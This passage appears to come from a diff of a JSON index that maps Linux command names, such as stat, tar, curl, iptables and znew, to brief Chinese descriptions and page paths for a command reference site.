Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"column":{"n":"column","p":"/column","d":"按列格式化输出文件"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"figlet":{"n":"figlet","p":"/figlet","d":"字符串转为 “字画符”。"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getcap":{"n":"getcap","p":"/getcap","d":"显示文件的能力（capabilities）"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getfacl":{"n":"getfacl","p":"/getfacl","d":"获取文件访问控制列表(access control lists)"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpg":{"n":"gpg","p":"/gpg","d":"可用于签名、检查、加密或解密的工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hcitool":{"n":"hcitool","p":"/hcitool","d":"hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"i